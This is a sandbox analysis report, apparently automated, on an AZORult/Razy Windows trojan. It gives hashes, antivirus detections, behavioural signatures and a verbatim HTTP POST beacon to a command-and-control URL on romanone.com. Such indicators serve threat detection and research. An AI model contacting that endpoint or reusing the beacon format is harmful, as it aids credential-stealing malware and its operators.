Razy_3380e401392c291a7893e61cb54d3c31_exe_2019-08-03_20_30.txt

* MalFamily: "Razy"

* MalScore: 10.0

* File Name: "AZORult_3380e401392c291a7893e61cb54d3c31.exe"
* File Size: 503808
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed"
* SHA256: "b29d80c9b012ceec6e530d074f684aad61649d05d785dd17d89e7e13c5e92aa8"
* MD5: "3380e401392c291a7893e61cb54d3c31"
* SHA1: "7f5a7d29a957e85e88e4f3b9b2e22486cb577a51"
* SHA512: "2c2757c3cbe25d112c33b445902722de5d50b339bd354cbc98df7b33d31f7dbc0a8e22a6388910e8272a8a28f3844b8ff68997a853bed7766bfb3e1d3f5a5cbf"
* CRC32: "06A7375C"
* SSDEEP: "3072:hHPVMqv49K5iUw/cE9XVxwMX7vjIqUOY9puLZT1/R/tE3c+hMCXVgFn+3R:hvVMqv5ilZXwMBEOZT1/Ri3c+TVC+3"

* Process Execution:
    "AZORult_3380e401392c291a7893e61cb54d3c31.exe",
    "AZORult_3380e401392c291a7893e61cb54d3c31.exe"


* Executed Commands:
    "\"C:\\Users\\user\\AppData\\Local\\Temp\\AZORult_3380e401392c291a7893e61cb54d3c31.exe\""


* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "Possible date expiration check, exits too soon after checking local time",
        "Details":

                "process": "AZORult_3380e401392c291a7893e61cb54d3c31.exe, PID 1476"




        "Description": "A process created a hidden window",
        "Details":

                "Process": "AZORult_3380e401392c291a7893e61cb54d3c31.exe -> C:\\Users\\user\\AppData\\Local\\Temp\\AZORult_3380e401392c291a7893e61cb54d3c31.exe"




        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "post_no_referer": "HTTP traffic contains a POST request with no referer header"


                "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"


                "http_version_old": "HTTP traffic uses version 1.0"


                "suspicious_request": "http://romanone.com:443/wp-content/okoye/32/index.php"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://romanone.com:443/wp-content/okoye/32/index.php"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: UPX1, entropy: 7.95, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x0001fc00, virtual_size: 0x00020000"




        "Description": "The executable is compressed using UPX",
        "Details":

                "section": "name: UPX0, entropy: 0.00, characteristics: IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x00076000"




        "Description": "File has been identified by 22 Antiviruses on VirusTotal as malicious",
        "Details":

                "MicroWorld-eScan": "Gen:Variant.Razy.511689"


                "FireEye": "Generic.mg.3380e401392c291a"


                "Qihoo-360": "HEUR/QVM11.1.F4A5.Malware.Gen"


                "McAfee": "GenericRXHR-QX!706123AC41E8"


                "Malwarebytes": "Trojan.MalPack.RES"


                "Arcabit": "Trojan.Razy.D7CEC9"


                "APEX": "Malicious"


                "Kaspersky": "UDS:DangerousObject.Multi.Generic"


                "BitDefender": "Gen:Variant.Razy.511689"


                "Ad-Aware": "Gen:Variant.Razy.511689"


                "Emsisoft": "Gen:Variant.Razy.511689 (B)"


                "Invincea": "heuristic"


                "McAfee-GW-Edition": "BehavesLike.Win32.Downloader.gt"


                "Trapmine": "suspicious.low.ml.score"


                "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"


                "ALYac": "Gen:Variant.Razy.511689"


                "MAX": "malware (ai score=88)"


                "Cylance": "Unsafe"


                "SentinelOne": "DFI - Suspicious PE"


                "GData": "Gen:Variant.Razy.511689"


                "Cybereason": "malicious.1392c2"


                "CrowdStrike": "win/malicious_confidence_70% (D)"




        "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
        "Details":

                "target": "clamav:Win.Dropper.Sodinokibi-7052937-0, sha256:b29d80c9b012ceec6e530d074f684aad61649d05d785dd17d89e7e13c5e92aa8, type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed"




        "Description": "Collects information to fingerprint the system",
        "Details":



* Started Service:

* Mutexes:
    "A81FB8C6-0BBE6E18-6FC9B5DB-536DA455-933946726"


* Modified Files:

* Deleted Files:

* Modified Registry Keys:

* Deleted Registry Keys:

* DNS Communications:

        "type": "A",
        "request": "romanone.com",
        "answers":

                "data": "195.201.152.3",
                "type": "A"





* Domains:

        "ip": "195.201.152.3",
        "domain": "romanone.com"



* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "J/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
        "uri": "http://romanone.com:443/wp-content/okoye/32/index.php",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
        "method": "POST",
        "host": "romanone.com",
        "version": "1.0",
        "path": "/wp-content/okoye/32/index.php",
        "data": "POST /wp-content/okoye/32/index.php HTTP/1.0\r\nHost: romanone.com\r\nConnection: close\r\nUser-agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nContent-Length: 105\r\n\r\nJ/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
        "port": 443



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: